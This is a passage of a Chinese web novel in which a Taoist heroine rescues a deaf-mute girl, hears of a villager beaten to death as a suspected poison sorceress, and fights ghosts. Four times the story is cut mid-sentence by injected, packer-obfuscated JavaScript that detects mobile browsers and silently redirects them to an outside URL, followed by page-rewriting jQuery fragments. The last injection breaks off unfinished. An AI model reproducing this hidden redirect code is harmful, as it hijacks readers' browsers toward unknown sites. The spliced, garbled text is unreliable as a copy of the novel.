女子找到了东西,满意地露出一丝微笑,转头朝房门走去,同时也露出了脸。 那是——杜夫人?! 程希夷来不及观察,躲到一边,等杜夫人离开卧房,关上房门。 等她走后,程希夷方才从暗处现身,来到房内。 杜夫人走过的地方留下一股异香,程希夷在杜夫人刚才站定的地方找了找,地上洒落了些许粉末。 她用手捻了捻,里面残留了些许块状的东西,凑近一看,像是药草的碎片。 又凑近闻了闻,悠然清香中夹杂着一股清苦滞涩的气味。 这粉末像是香料,程希夷又在房中找到香炉,从底部找到了些许残留的灰烬,闻起来正是这种香。 结合刚才杜夫人鬼鬼祟祟的行为,程希夷觉得事情似乎并不简单。 杜文焕曾经说,他喜好清净,这西院少有人来,最多也只是丫鬟过来。 杜夫人来这只是为了拿走一包香料? 有诸多可疑之处,可她又想不出原因,只好回到书房,打算给杜文焕写点提示。 她写下“卧房香料有异,速查”,找了本书,待墨干了,将纸条夹在书中,又把书放在砚台旁。 杜文焕是个谨慎的人,他的东西收拾得如此干净,想必是出远门了,回来之后见砚台中有墨,旁边又摆放这么一本书,很可能会翻动书,从而找到纸条。 她刻意伪装了笔迹,应当认不出来。 杜文焕见到这张纸条,不一定会信任纸上的字,但绝对会起疑虑,对他人可以轻易进到房中这事也会有些防范。 既然她的任务已经完成,那这里就没什么好挂念的。 在离开西院之前,程希夷最后回头忘了一眼,释然地笑了笑,心说:再见了。 ······ 既然杜府的事已了结,那她就要去寻找自己的路了。 她翻出院墙,解开马匹上的绳子,蹬鞍上马,往城外跑去。 到了城门,程希夷发现守城门的卫士多了许多,但进城不易,出城倒是不难。 她只被简单检查了一下包袱就放出城去了。 出了城,程希夷顿感心情开阔,连空气都夹杂着自由的清香。 接下来去哪呢? 程希夷打算去天末国,那儿是巫术的发源地,或许可以找到一些咒术帮她找回记忆。 维咸国的北边都是沙漠,西边沿境都在和天末国打仗,那儿肯定是不行的。 她听说南部的金谷州一直与天末国有海上贸易往来,商船来往频繁,走水路肯定可以。 那就往金谷州去! 她骑马畅快地跑了一二里路,方止步望了望天色。 天已经渐渐黯淡下来了,并且还淅淅沥沥下着小雨,需要尽快找个地方落脚才行。 雨说下就下,不给一点反应的机会。 “轰隆隆——” 不一会,天边响雷就带着大雨倾泻而下。 程希夷一边狼狈护着自己的包袱,一边骑马寻找落脚地。 远远地,看见一草棚,她眼睛瞬间发亮,如见救星。 “驾——” 程希夷下马躲进草棚,将马匹栓到支撑草棚的其中一根柱子上。 说是柱子,其实也就是人腿粗的长木棍而已。 她又在周围找了点草料放在黑马面前,拍了拍黑马说:“小马,你乖一点,好好吃草,别乱动,不然你用力一扯这棚子说不定就倒了。” 黑马“吁吁”叫了两声,听话地低头吃草。 安抚好了黑马,她终于闲下来整理自己。 身上的衣裳已经被雨水打湿透了,她脱下衣裳拧了两把,从包袱里找出自己那身道袍换上,终于觉得身上干爽起来。 她找了几根木棍,将湿漉漉的衣裳挂上,从旁找了一堆引燃的稻草,加几根松枝,又从包袱中拿出火石,总算升起火来。 这一些事做完后,程希夷觉得身上很累,打了个哈欠,将身下的草铺了铺,倒头就睡。 睡到半夜,她就被外头匆忙的脚步声给吵醒了。 程希夷睡眼惺忪,迷迷糊糊见外头似乎有火光,而且还不少,这一想法很快就让她一下清醒了。 她将还冒着火星的柴火堆踩熄,右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12786014|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手去摸自己的剑。 一步步退到一人高的草堆后,离马匹更近的地方,静观其变。 这时,黑暗之中,一只手悄悄从她身后摸过来。 程希夷警惕地回头,还未等那人摸到她,就将那人的手狠狠抓住。 她的视力很好,即使在黑暗之中也可见事物。 她定睛一看,抓到的人并不是什么贼人,而是个十二三岁,穿得破破烂烂的小姑娘。 小姑娘害怕得发抖,口中呜呜咽咽的,说不出话来。 程希夷看了看她,又看了看外头的火光,低声说:“跟我来。” 外头的人已经将草棚团团围住,为首的大汉高举火把,恶狠狠地大喊:“小贱种,还不快滚出来,不然就跟你娘一样去死吧!” 里头还是没有声音。 见口头威胁没有用,大汉给旁边的人使眼色,打算硬闯进去。 可刚到门口,一阵马蹄声从内传出,一个道士打扮的女子骑马闯出,怀里抱着那个孩子。 大汉被这状况吓了一跳,但还是记得自己的任务,喝道:“追!” 程希夷带着这小姑娘跑了许久,终于甩掉身后的火光。 她松了口气,问小姑娘:“你家在哪?” 小姑娘张了张口,喉咙却只滚出“啊啊”几声。 这小姑娘是个哑巴。 程希夷见问不出什么,只好带着她找了个山洞落脚,幸好离天明没多久,还可以熬一熬。 她实在太累,倚着墙壁就睡着了。 等她再次醒来,身旁的哑巴小姑娘已经不见了。 程希夷慌得站起身,这漫山遍野的,有的是吃人的野兽,这么一个孩子轻轻松松就被野兽给吃了。 没走几步,那哑巴小姑娘就从远处回来了。 她的手上捧着一些野果子,见到程希夷,脏兮兮的脸上露出一个稚气而天真的笑容,将果子全部捧给她。 “要我吃这个么?” 哑巴小姑娘点了点头。 程希夷拿起一个野果,这些确实都是些没有毒,可以食用的果子。 她啃了一口,还挺甜。 “你不吃吗?”见小姑娘自己不吃,程希夷以为是她手上都是果子,没有空手吃,就将果子全部接过,又拿了一个,用衣袖擦了擦,递给她,“用袖子擦了就干净了,挺甜的,尝尝?” 小姑娘仿佛得到许可似的,高高兴兴地吃了起来。 这个小姑娘懂得识别果子,又敢躲避刚才那些追她们的大汉,到底是发生了什么事呢? 程希夷试探着问:“小姑娘,你的家在哪?如果你说不了,可以指个方向吗?” 哑巴小姑娘继续低头啃果子,察觉到程希夷的视线,才迷茫地抬起头。 程希夷意识到什么,试探地指了指自己的耳朵,看着她的眼睛,一个字一个字地问:“你听得到吗?” 得到的答案是否定的——小姑娘摇了摇头。 这小姑娘不仅说不了话,还听不见。 程希夷怜爱地摸了摸她的头,觉得奇怪,那些人为什么要追这么一个无害的小姑娘? 也许得不到答案,当务之急先找个村庄把她安顿好,这孩子可不能被丢在这里。 打定主意,待小姑娘吃饱后,程希夷起身拍了拍身上的尘土,向小姑娘伸出手,露出和煦的笑容,说:“走吧。” 小姑娘抬眼看去,程希夷的笑容比身后的阳光还要耀眼,仿佛站在那里就可以驱散一望无际的黑暗,温暖浸透在冰水中的心灵。 29. 村庄 程希夷带着聋哑小姑娘一块骑马上路,山路难行,又无人迹,树林草木常阻挡前路,一不小心就会迷路。 幸好程希夷从小在山中长大,懂得靠植物的生长辨认方位,一时走得也算顺畅。 但山路毕竟不好走,昨日又下了雨,树枝叶片上都是点点雨水,从中穿过,不免打湿衣裳。 程希夷见小姑娘衣服破烂,十分可怜,给她找了件自己的衣服裹上,沿路又用自己的袖子替她挡了挂着露珠的树枝。 地上的枯叶被马蹄踏入湿润的泥土,留下一个又一个马蹄印的泥水浅坑。 她们二人渴了就喝点苔藓上的露水,饿了就采点果子吃。 聋哑小姑娘十分乖觉,不哭不闹,程希夷给她吃什么,她就吃什么。在马背上也不动,缩在程希夷怀里,像一只小兔子。 马儿倒是愉快,吃点草就饱了,这山上最不缺的就是草。 但她们两个大活人,又不可能吃点果子饱腹,总还要吃点肉,但别说猛兽了,连兔子都不见一只。 程希夷沿着苔藓的朝向,找到了一处溪流。 下马喝了两口清醒了点,接着追溯水源的方位,终于在翻过一个小山峰之后,看到了一个村子。 程希夷见总算有人烟,看到路上一正在锄地的老伯,就要感动地哭出来。 有人!除了她们俩,终于见到大活人了,走了这么久她都没说话,快不知道怎么讲话了。 她下马,上前搭话道:“老人家,这儿是什么地方?” 老伯年纪大了,耳朵有点背,不大睁得开的眼睛因为抬头碰见日光,眯了起来,说:“你说啥子嘞?” “我说——咳咳,”程希夷清了清嗓子,凑到大伯耳边,把这半日没发出的声音全都一口气吐出,“老人家——这儿——是什么——地方啊——” “哎呦,哎呦,”老伯被吵得捂住耳朵,叫道,“俺又不是聋子,叫这么大声干啥!” 程希夷笑着道了个歉:“这不是怕您没听清楚嘛。” 老伯也是个好人,没跟她计较,说:“听清楚了,听清楚了。这儿是大柳树村,女娃你是要做什么?” 程希夷却也不先讲这些,转身将聋哑小姑娘抱下马,问:“您认得她么?” 她估摸这应该走了也不算很远,说不定会有附近村庄认得这孩子的。 老伯打量了一下,摇了摇头,说:“不认得。” 程希夷叹了口气,又问:“那这儿附近可有村庄么?我路上碰到这可怜的孩子,打算帮她寻家来着。” 老伯说:“离这儿二三里,还有个吃人村。除了这个村,这方圆十里,再没别的了。” 程希夷疑惑地问:“吃人村?这名字可古怪,怎么会叫这么个名呢?” 老伯叹道:“这也不好说,总之别去那里就行。” 程希夷思忖她与小姑娘都饿得快要昏过去,而且这么乱走也不是个办法,需要找个落脚处才行。 她对那老伯说:“老人家,不知道您能不能收留我们一二天,好让我们稍作休整,继续赶路。” 老伯见程希夷恳切的模样,又看那小姑娘脸蛋脏兮兮的,外头虽罩了件衣服,但里头的衣服却是黑乎乎的,脏乱得不成样子,终究心软答应下来:“老头子家也没什么招待的,要是不嫌弃就跟俺来吧。” “不嫌弃,不嫌弃。” 能有地方住就很不错了,程希夷当然二话不说将小姑娘抱回马上,牵着马跟着老伯去了他家。 老伯到了家,唤出一老妪来,给她二人端来了一些煮熟的窝头和地瓜。 终于可以吃到果子之外的食物,程希夷和聋哑小姑娘如见珍馐美味,慌不迭将食物塞进口中,好弥补亏空许久的肚肠。 待二人吃饱后,老妪又给她们端来了清水,给她们洗洗因赶路而布满尘土的脸蛋。 老妪见她们二人都回过精神气来,方才慈爱地开口问程希夷:“姑娘,你是从哪来的?看你这打扮,像是个道士。” 程希夷这才回看自己身上的衣裳是道袍,她都快忘了自己的身份。 一旁的老伯拍了拍自己的额头,恍然大悟道:“瞧俺这眼神,竟不知是位仙长!请恕小老头有眼无珠的罪过!” 说着就要作揖跪下,老妪见状,也要跟着跪下。 程希夷忙将他们扶起,不懂为何态度转变如此之大。 “老人家,这是怎么回事?” 老伯站定,在屋内踱步了一圈,将门窗都关好,方才回来向程希夷叹道:“道长,事情就是发生在俺之前跟你说的那个吃人村里。” 程希夷随老伯坐下,“哦?这到底是发生了什么事?” 老伯说:“这吃人村原本叫小柳树村,与俺们本是同一族亲,只是许多年前村中人打架,输的人带着全家老小搬到河流下游,建了这么个小柳树村。 “这本来也没有什么,分散开也不至于只靠这一块祖辈传下的地养活全家。时间一长,俺们两个村的关系也慢慢变好。但不知道为啥,前不久这小柳树村竟然流行起一种怪病,得病的人像是被鬼附身,初时狂笑不止,然后像是被吸□□气一般,慢慢瘦弱下去,最后竟倒在地上一睡不醒!” 这确实是个怪事,程希夷问:“可这与‘吃人村’这个名头有什么关系?” “您且听俺说。” 老伯继续道:“这病开始也就一二人患上,后来竟传染了近乎半个村子。俺们这在那有亲戚的,都不敢去走动了,原先在那的也不许来了。这病用什么草药都治不好,小柳树村的村长贪生怕死,就把患病的人集中到一处,开始还送饭,后来竟然连饭也不送,都让那些人饿死了。这正合了那村长的心意,寻了几个年轻力壮的人,挖了个大坑,把他们都埋了。你说这好好的人在那里,就这么死了。这不就是风水不好的‘吃人村’么! “埋了这事也不算完,老村长就要寻这祸患的源头,还真被他找到了!” 程希夷忙问:“是什么?” 老伯说:“小柳树村之前来了一对从南边逃荒来的母女,村民看她俩可怜,就给了她们一间村子偏僻地方的破屋住。这母女两个都面黄肌瘦,风一吹就倒了似的,村民们也估摸着活不久,平日里也只给些剩菜剩饭吃。 “谁知道这对母女竟一个也没有患上那怪病,村长只道这怪病是这母女来了之后才开始的,而且这两个最可能患病的人却没有患,反而活蹦乱跳的。这么一看,嫌疑就在这两人身上。” 程希夷眉头一蹙,对这番推论不大认同:“这母女为何要害那些村民,既然靠他们吃饭,怎么会害他们,断了自己的食粮?” 老伯说:“人心险恶,谁也不知道别人心里琢磨什么坏念头。小柳树村的村长说她们母女二人是从南边来的,南边的人里天末国近些,学了他们害人的巫蛊之术。这母亲定是个蛊婆,专门放蛊害人的!” “放蛊?既然村长这么说可有凭据?”程希夷之前从程玉和那堆藏的书中了解了一些巫术,其中包含蛊术。 这蛊术相传是将各种毒虫放入翁中,待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12816913|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们互相厮咬,毒液汇聚于一处,最后留下来的就是蛊王。 蛊术种类丰富,有迷情蛊、忘忧蛊等等。 下蛊之人通常将蛊虫藏到指甲缝中,待与人交谈时就将这蛊虫下到那人身上,蛊虫便会钻进那人的皮肤,从而控制思想和行为。 当然,也有一些更离谱的下蛊方式,且待这位老伯说一说。 “是,”老伯似乎十分痛恨蛊婆,手不自觉握紧了,“她一个妇道人家,又带着一个聋哑的女儿,怎么会一点事都没有!老村长带着人闯了她们家,果然搜出了一个包袱,里面各式放蛊的器具,一应俱全,从那罐子里头还抓出几只蜈蚣呢!” 听见他说“带了一个聋哑的女儿”,程希夷吓了一跳,她反应过来,这不就是身边带着的这小姑娘么? 感情走了半天,竟真的绕到这里头来了?! 程希夷不动声色,面上一点也没表现出。 她原先以为这小姑娘只是被山贼之类的追赶,本打算将她送回有熟人的村落,没想到竟有这么一层缘由。 程希夷问:“听老人家你刚才说,这母女二人平日住在偏僻的破屋,只吃些残羹剩饭,应该不常与村民交流吧,那这蛊又是怎么下的呢?” 只听老伯继续说:“这蛊术最是厉害,有千般变化,下蛊之人只要有心,你与她对上一眼,这蛊就下到你身上了。” 程希夷不禁笑了,靠眼神下蛊么,这还真的够神的。 老伯见她不以为意,着急起来,顿足道:“道长,俺这话句句属实。” “属实,属实,”程希夷敷衍道,“这蛊术请恕小道不大了解,如果要做什么,恐怕不能胜任。” 老伯摇了摇头,说:“这只是一层,在这小柳树村,还有更厉害的呢!” 说到这,老伯顿了顿,不安地瞥向四周,见并无异动,心里安定了些许,压低声音说:“这小柳树村自从打死那蛊婆之后就闹鬼了!” “什么!打死了?!”程希夷坐不住了,她看向小姑娘,但后者总低着头,又聋又哑,应当不知道他们说的什么事。 她虽不认得那逃荒的女子,但对苦命人总有几分同情,话出口带了三分怒气:“维咸国的禁巫令对巫蛊之术严厉禁止,这事上报官府,自有官府来管,为何将人私自打死?” 老伯却不在意这条人命,说:“这种小事自有村长和族老来管,何必官府?那大的前几天打死了,但那小的跑了,他们还追杀呢。要俺说,得饶人处且饶人,大的死了就算了,小的又不晓事,懂什么放蛊? “但他们非说如果一家里有一个蛊婆,那这家的女的都懂得蛊术,连小的也是。在那之后,小柳树村夜里就常发生些怪事。常常有人在夜间看到白衣女鬼带着几个小鬼四处游荡,那几个处决蛊婆的男子晚上睡觉,都感觉有人在掐脖子。那些人说是那蛊婆回来索命了。” 程希夷心想,索命就好了,平白无故将人打死,还指望自己高枕无忧? 老伯真正关心的却不是小柳树村有没有闹鬼,他说:“他们那闹就算了,这鬼魂竟然也闹到我们这来了。晚上天都没黑,俺们就要回家,走慢了,就碰上一两个鬼害人了!这吃人村造的孽,竟害到我们这里来了!” 她了解了事情的大概始末,当下打定主意要将小姑娘身份瞒下去,她可不信这些事,其中必有隐情。 但她也不打算参和此事,一是时间有限,她不算古道热肠的人,不想帮他们;二是这事情十分复杂,万一出了事,她双拳难敌四手,恐怕不能脱身。 30. 邪祟 程希夷拿出两张符纸,说:“将这两张符纸贴在门口,鬼魂不敢入内。” 又摸出几枚铜板递给老伯,“老人家,今日天色稍晚,能不能给我们个地方休息,即使是柴房也可以。” 老伯连忙称谢接过,又见她确实无捉鬼的意思,也不好勉强,说:“请跟俺来吧。” 程希夷带着聋哑小姑娘遂他来到一间窄小的房间,房内家什横陈,床上棉被具全,看得出是有人在此居住过的,而这家里也就只有老伯和老妪二人,想必就是他们的房间了。 老伯将她们二人带到房间之后就去准备晚饭了,程希夷暗想只住一晚也不妨事,而且她倒是不怎么要紧,只是这聋哑小姑娘因为这几日的颠簸和之前的经历受了惊吓,从刚才开始一直扒着她的腿不肯放。 用过晚饭之后,程希夷让小姑娘坐到床上,察看她身上有无伤口。 小姑娘身上有些淤青和结痂的伤口,但不算严重,而且也还干净,程希夷又去要了一盆温水,给她擦洗身上的伤口。 她开始还避开程希夷的手,不肯让她看到自己身上的伤,但最后还是乖乖让程希夷替她处理了伤口,换了衣服。 她身上干净之后,便感觉十分舒适,不知不觉就窝在床上睡着了。 程希夷将她收拾好后,又换了盆水将自己也整理了一番。 之前的道袍被树枝划破了几道口子,也沾了些泥泞。 但也没什么可以换的衣裳,勉强清洗了污处就放到一旁了。 程希夷将头发散下,准备就寝。 可更深露寒,她这时倒是睡不着了。 也许是下过雨的缘故,云层散开,窗外月光皎洁,程希夷伸手去捧住那月光,像是捧住一条长长的白练。 夜晚,月光,很让人怀念的场景,只是此时她身在京城之外,往日种种,更像是一场梦。 那人,正在做什么呢? 她抬头看向夜空,孤月挂在空中,周围甚至连颗星子也没有。 她摸了摸胸口,往日并不大理解的一种名为“孤独”的感情似乎慢慢溢出,填补上胸口的空洞。 如果有人在旁边陪着就好了,但身边只有这个懵懂的孩子,她还不知道该怎么安置这个孩子呢。 “你是我唯一的朋友。” 脑海中突然浮现出那人的这句话,程希夷静静地看着手中那层月光,惆怅地说:“你也是我唯一的朋友啊。” 迷迷蒙蒙中,她守着回忆倚着墙睡着了。 忽然,一阵瘆人的寒意将她惊醒。 程希夷从床上跳起,下了床,慢慢踱步到门口。 她有着比常人敏锐的感觉,门外有什么在活动。 细细听去,像是嚼东西的声音。 老伯夫妻二人喜欢在半夜吃东西? 这不大可能,程希夷有些不好的猜想。 她将门推开一个小缝,往外看,但外头黑咕隆咚的,不论什么东西都融入黑暗中。 闪身出去,脚步轻轻地往声音发出的地方走去。 嚼东西的声音越来越大,甚至还伴随着撕咬的声音。 程希夷走到大门口,借着月光和门缝,朝外看去。 这不看没事,一看甚是吓人。 一个不知道什么东西披头散发,正低头啃咬一只人手。 鲜血从它的齿缝中流出,一滴一滴渗入它脚下的泥土中。 似乎闻到生人的气味,它那双只有眼白的眼睛转了过去,直直盯着程希夷的方向。 程希夷却不怕它,谁没当过鬼啊,当鬼的时候其他鬼魂都要对她退避三舍呢。 她推开门走了出来,果然,那东西本来恶狠狠地吐掉口中的人手,正欲扑上来,只有几步的时候它终于发觉不对劲,锋利的爪子停在半空,乍一看还有点滑稽。 它像只受了惊的恶犬,本来还准备撕咬敌人,却发现敌人可以轻易将它捏死,反倒让它吓得停住,一边瞪眼示威,一边准备逃跑。 程希夷冷笑道:“原来这种没有神智的东西也懂得欺软怕硬?” 她手上也不容情,从袖中拿出一张符咒,腾空而起,那鬼魂见势不好,慌忙溜走了,让程希夷扑了个空。 “跑得这么快······” 程希夷收好符咒,去察看地上那横躺着的二人,是那老伯和老妪,可惜已经断气了。 她叹了口气,心中颇为不解,她不是给了两张符咒让老伯贴在门上了么,而且为什么那东西要将这老夫妇拖出屋子再啃食呢? 不管怎么样,既然这儿确实有鬼魂,又将这好心的老夫妇杀死,那她必定要捉到它! 她寻着鬼魂逃跑的方向往村外树林走去,越走,那股寒意越深,让她都有些受不了。 走着走着,不知道踢到了什么硬硬的东西,程希夷拨开杂草,低头一看,是一块半人高的墓碑。 朝四周看去,都是些大大小小的墓碑隐藏在杂草丛里。 这儿应该已经很久没有人来清扫了。 但很快,程希夷来到一个平地,这儿一大片都清扫的十分干净,脚下的泥土柔软湿润,像是刚从地下挖出不久的新鲜泥土。 这个平地足有两间屋子那么大,她走了一会才走到边缘。 站在这平地上面总有非常强烈的不适感,明明是个开阔地带,空气却浑浊不堪,让人作呕。 而且隐隐约约还有怨气弥漫,在这一片墓地中,这个没有坟墓的地方反而是怨气最严重的地方。 草丛里传来悉悉索索的声音,程希夷过去一看,是刚才那个鬼魂。 它趴在一个小土包上,嘴里叼着不知道从哪挖出来的人骨。 奇怪的是,在它的身边,有一完整的白骨,骨头纤细瘦弱,不像是成人的尸骨。 鬼魂之前面对她虽有几分恐惧,但还是凶狠的,此刻却抱着那具阴森森的白骨,像母亲哄孩子似的,抱在怀里,手掌轻拍背部。 而那骨头本就是被拼起来的,十分脆弱,即使动作轻柔,三两下也散了架。 鬼魂却浑然不觉,仍然抱着上半身的骨头一摇一摇的。 程希夷见到这诡异的场景也发懵了一瞬,很快反应了过来,不管怎么样,要先控制住它,免得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12836789|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它再去害人。 她悄悄从后接近,趁它不备,一掌将符咒拍到它后脑上,鬼魂顿时定住不动了。 程希夷松了口气,她刚才还怕这鬼魂太警觉,还好没被察觉。 她走到鬼魂正面,拨开它散乱的头发,赫然可见它眼珠凸起,双颊都已经凹陷,脸上都是人血,嘴角还挂着残留的人肉。 可这么恐怖的一张脸,竟然保持着刚才它看着怀中白骨的表情——母亲般的温柔和慈爱。 这实在不像是一个怨灵该有的表情。 但它吃了人,不管怎么样,她都该除掉它。 她拿出一张符纸,咬破手指,用鲜血在符上画了几笔,然后将符咒贴在怨灵眉间,掐了个诀,霎时怨灵化为齑粉,随风而散。 做完了这些事,程希夷心头不知怎么也没有轻松,尤其是怨灵最后的表情一直在脑子里打转。 她叹了口气,转身向来时的方向走去。 可是她没走几步,又回了原地。 程希夷来回走了好几次,终于明白是周围的鬼魂不想让她离开。 但她今日不想再做些什么,于是开口向虚空说:“凭你们的实力还困不住我,速速离去,我可放你们一马。” 不知从哪冒出一股黑气,盘旋在她头顶,几只没形体的游魂从草丛里冒出,缠住她的手和脚。 既然它们动手,也怪不得她了。 正当程希夷打算动用自己的法剑,忽然听到幽幽的声音。 夜晚的风愈发大,穿过草丛,发出“呜呜”的声音,仿佛鬼魂的哀嚎。 伴随着的词句和风一样一阵又一阵,仿佛带着极大的痛苦和哀伤,眨眼间声音却被风吹散。 听了好几遍,她终于听清楚它们的话,它们在说:“救救我们,救救我们——” 救救它们?程希夷不明白它们的意思,它们不是想害她,而是想让她救它们? 为什么? 程希夷从前一直认为死去之后不愿意投胎转世,徘徊人间的就是怨灵。 可是这些鬼魂和刚才那个吃掉老夫妇的怨灵不同,它们的确没有伤害她的心思。 犹豫了一下,她问:“你们是想让我做什么,发生了什么事?” “人害人,人害人——” 鬼魂们的声音借助风传来。 “人害人,是说这个村庄有人害死了你们,要我替你们报仇?”程希夷问。 鬼魂们说:“我们只想安宁。” 程希夷想,这个好办到,“你们在哪?” “我们在地底下,我们在地底下。” “地底下?”程希夷看了看自己脚下踩着的这片走不出的平地,“是我现在踩着的地方么?” “是的,是的。” 程希夷看向它们:“怎么会死了这么多人?” 鬼魂们说:“鲜血,他们要鲜血——” 鲜血?程希夷记得老伯跟她说是下游的小柳村闹鬼波及了这里,而且只提到蛊术,怎么这里这么多冤死的鬼魂,还说“他们”要鲜血? 这里到底发生过什么事情? 31. 上座 这些鬼魂都没有形体,能游荡在人世只是凭借着一股执念,常人也不能看见它们,也就是程希夷体质特殊,它们才能将话传达给她。 此刻它们仿佛精疲力尽似的,缠着程希夷手脚的鬼魂慢悠悠退去,而那股盘旋在她头顶的黑气却似乎还有话要说。 它的声音就像扯动风箱时的嘶哑声,这种嘶哑声断断续续拼凑成人的话语,“请求您救救我们。” 前有老伯请求她捉鬼,后有鬼魂请求她给予它们安宁,这个村子发生的事实在扑朔迷离。 而且自己是什么可以被许愿的神明体质么,怎么总是这么倒霉,总被拖住求帮忙。 她说:“我无意管你们这些事,若是想投胎转世,就放下执念吧。” 那一团黑气仍缠着她说:“我们怨恨,我们怨恨啊——” “哦。”程希夷应了一声,精神怠惰,“人多贪嗔痴妄,没想到做鬼也是如此。我本无心参与,对你们手下留情已是仁慈,现在能让我走了吗?” 见她不遵循常理,空中静了半晌,又幽幽响起声音,像风穿过小孔一样又尖又细,“你跟我们是一样的。” 程希夷被这话刺了耳朵,蹙眉说:“是啊,我曾魂魄离体,但并非死去成鬼,与你们还是不同的。” “你的魂魄曾经遭受两次重创,是有人帮你缝补,才得以活到现在。” 这下程希夷察觉到这团黑气的不简单了。 那团黑气见她沉默不语,便知这话有用,继续说:“你的魂魄受损,活不了多久,但你可以靠吞噬其他魂魄借机修补。” 还真是个邪恶的方法。 程希夷当然知道这种办法,吃掉鬼甚至厉鬼增强自己的法力。 有没有用另说,但她从小修身养性,祈求的从来只是天人合一的境界,绝不会理会这种邪门的办法。 而且这方法从这团黑气口中说出来也挺好笑的。 她露出一丝微笑,眼眸晦暗不明,“你不怕我把你给吃了?” 那团黑气说:“我们是冤魂的集合,怨气之大,非你所能承受。” “呵,”她被这带点怂的话语乐到了,说,“那你们想让我去吞吃谁的魂魄?” “这里的村民。” 这算计也太明显了。 “没兴趣。” 见这也打不动她,那团黑气慌了神,“你不怕死吗?” “这么说,你们还是替我考虑?”程希夷语气像是掺杂了一把寒冰,方才她还以为这些鬼魂有冤情,现在居然想借她的手杀人,甚至除掉魂魄断绝后患。是她把这些没有神智的孤魂想得太善良了。 既然如此,为了不让它们再伤害活人,她只有将它们除掉了。 她的手缓缓伸到腰间,双眼盯着黑气,寻找它的破绽。 黑气敏锐地察觉到了危险,它松了口,说:“他们是一群凶手,但如果您真的不愿意,就请您将我们超度,好好安葬,还我们一个安宁吧。” 说完,它就融入暗沉的夜色之中,束缚程希夷的那股短暂的力量也消失不见。 程希夷:“?” 它也过于聪明了吧。 这下轮到她疑惑了,这团黑气不像是普通的怨灵,它很聪明,又懂得摆弄人心,甚至还知晓进退。这实在更像是个人了。 不过她又没答应它什么,帮忙超度这种事太麻烦,她可没有时间。 至于这些怨灵会不会去找村民的麻烦,它们现在跑得没有留下一丝踪迹,她也顾不上,村民们自求多福吧。 …… 被这些鬼魂缠住许久,天色渐明,东方已经泛起鱼肚白。 回到那对老夫妇的屋子前,程希夷心情有些沉重,她可不想看到一对好心人的尸体。 但她已经帮他们除掉了那个鬼魂,应当也可慰藉他们的心灵了吧。 可当她走到之前老夫妇陈尸的地方,准备收拾他们尸骨安葬时,却发现那二人的尸骨不见了。 不仅如此,连地上的血迹也消失得无影无踪,仿佛什么都没有发生过。 程希夷又在原地附近找了一遍,可半点痕迹都没有,连野兽拖拽的痕迹也没有,像是凭空消失了。 正当她站在原地思索时,身后的屋门打开了。 程希夷回过头,随即瞪大了双眼。 那对老夫妇倚着门招呼她,脸上堆着和煦的笑容,在这半明半暗的天色里反而显得阴森,“道长,您怎么在外头,寅时露水重,您快进来歇息吧。” “你们?!”程希夷看了看他们,又看了看之前他们倒下的地方,一时间竟说不出话来。 老夫妇没发现她的惊诧似的,仍然笑着说:“您请进来啊——” 她走过去,近了才发现这老夫妇脸上的笑容十分僵硬,脸色惨白,像打了一层粉,皮上的褶子堆积在眼角和脸颊处,其他地方的皮肤十分光滑,像是剥了壳的鸡蛋。 这根本不是老人所能有的皮肤,他们到底是什么东西?! 程希夷心里不清楚,但她此刻必须要冷静,这附近也不知道有没有他们的同类。 而且屋里头还睡着之前那个聋哑小姑娘,她得把那孩子带出来。 随他们进了门,走到正堂,屋里灯火通明,呼啦啦坐着一大堆人。 见她走了进来,一旁的一个身穿褐色圆领窄袖短袍,身份明显比旁边的人要高的男子站起身,对她拱手说:“这位道长,您帮我们除了一大害,请上座。” 程希夷糊里糊涂地被推到临近中心那个一直闭眼不说话的老头旁边的位置坐下。 她刚挨着椅子,又站起身,问:“那个和我一块来的孩子呢?” 他们这一群人就在这等着她,不可能不知道那孩子在哪里。 刚才那个男子就是这个大柳树村的村长,见她这么问,陪笑道:“那小姑娘在里头睡觉呢。” “让我见见她。”发生了这么多古怪的事,她得见到那孩子才放心。 村长见她一副不见到绝不罢休的模样,对旁边的村民使了个眼色,后者领会,去屋里将那聋哑小姑娘领了出来。 小姑娘走了出来,她被突然叫醒,还没缓过神,一副困倦的模样。 待她看清坐着的一大群人时,吓得叫起来,可口中只能发出沙哑的“啊啊”声。 程希夷将她拉到自己身边,那孩子死命抓着她的手,双肩因为惊恐而一直颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 